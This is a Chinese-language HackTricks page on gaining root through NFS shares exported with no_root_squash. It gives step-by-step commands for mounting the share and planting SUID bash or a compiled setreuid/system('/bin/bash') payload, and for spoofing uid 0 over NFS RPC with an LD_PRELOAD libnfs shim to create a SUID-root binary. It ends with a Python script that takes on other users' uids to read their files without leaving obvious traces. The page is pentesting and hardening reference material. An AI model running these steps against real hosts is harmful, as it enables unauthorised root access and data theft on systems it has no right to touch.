hacktricks/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md

8.1 KiB
Raw Blame History

零基础学习AWS黑客攻击直至成为专家 htARTE (HackTricks AWS 红队专家)

支持HackTricks的其他方式

阅读 _ /etc/exports _ 文件,如果您发现某个目录被配置为 no_root_squash,那么您可以作为客户端访问该目录,并且本地root的身份写入该目录。

no_root_squash这个选项基本上授权客户端的root用户以root身份访问NFS服务器上的文件。这可能导致严重的安全隐患。

no_all_squash:这与 no_root_squash 选项类似,但适用于非root用户。想象一下您以nobody用户的身份获得了一个shell检查了/etc/exports文件存在no_all_squash选项检查/etc/passwd文件模拟一个非root用户创建一个该用户的suid文件通过使用nfs挂载。以nobody用户身份执行suid并变成不同的用户。

权限提升

远程利用

如果您发现了这个漏洞,您可以利用它:

  • 在客户端机器上挂载该目录,并且以root身份复制到挂载文件夹中的 /bin/bash 二进制文件,并给予它 SUID 权限,并从受害者机器上执行该bash二进制文件。
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
  • 在客户机上挂载该目录,并以 root 身份复制我们编译好的负载到挂载文件夹内,该负载将滥用 SUID 权限,给予它SUID权限,并在受害者机器上执行该二进制文件(你可以在这里找到一些C SUID 负载)。
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload

#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell

本地利用

{% hint style="info" %} 请注意,如果您能够从您的机器到受害机器创建隧道,您仍然可以使用远程版本来利用这个权限提升,通过隧道转发所需的端口
以下技巧适用于 /etc/exports 文件指定了一个IP地址的情况。在这种情况下,您将无法使用任何情况下的远程利用,您将需要利用这个技巧
利用漏洞工作的另一个必要条件是,/etc/export 内的导出必须使用 insecure 标志
--我不确定如果 /etc/export 指出了一个IP地址这个技巧是否会起作用-- {% endhint %}

技巧复制自 https://www.errno.fr/nfs_privesc.html

现在,假设共享服务器仍然运行 no_root_squash,但有某些东西阻止我们在我们的渗透测试机器上挂载共享。如果 /etc/exports 中有一个明确列出允许挂载共享的IP地址列表就会发生这种情况。

现在列出的共享显示,只有我们试图提权的机器被允许挂载它:

[root@pentest]# showmount -e nfs-server
Export list for nfs-server:
/nfs_root   machine

这意味着我们被困在本地从一个非特权用户挂载共享上进行利用。但恰好还有另一个不太为人所知的本地漏洞。

这个漏洞依赖于NFSv3规范中的一个问题该规范要求客户端在访问共享时宣告其uid/gid。因此如果共享已经挂载通过伪造NFS RPC调用可以伪造uid/gid

这里有一个库可以让你做到这一点

编译示例

根据你的内核你可能需要调整示例。在我的情况下我不得不注释掉fallocate系统调用。

./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/

利用库进行攻击

让我们使用最简单的攻击方法:

cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out

将我们的利用工具放在共享上并通过伪造我们在RPC调用中的uid使其成为suid root

LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out

剩下的就是启动它:

[w3user@machine libnfs]$ /mnt/share/a.out
[root@machine libnfs]#

我们已经获得了本地root权限提升

奖励 NFShell

一旦在机器上获得了本地root权限我想要搜寻NFS共享中可能存在的秘密这些秘密可以让我进行横向移动。但是有许多用户使用这个共享他们都有自己的uid尽管我是root由于uid不匹配我仍然无法读取这些文件。我不想留下明显的痕迹比如执行chown -R命令所以我编写了一个小代码片段在运行所需的shell命令之前设置我的uid

#!/usr/bin/env python
import sys
import os

def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid

filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))

然后,您可以通过在它们前面加上脚本来运行大多数命令,如同平常一样:

[root@machine .tmp]# ll ./mount/
drwxr-x---  6 1008 1009 1024 Apr  5  2017 9.3_old
[root@machine .tmp]# ls -la ./mount/9.3_old/
ls: cannot open directory ./mount/9.3_old/: Permission denied
[root@machine .tmp]# ./nfsh.py ls --color -l ./mount/9.3_old/
drwxr-x---  2 1008 1009 1024 Apr  5  2017 bin
drwxr-x---  4 1008 1009 1024 Apr  5  2017 conf
drwx------ 15 1008 1009 1024 Apr  5  2017 data
drwxr-x---  2 1008 1009 1024 Apr  5  2017 install
从零到英雄学习AWS黑客攻击通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式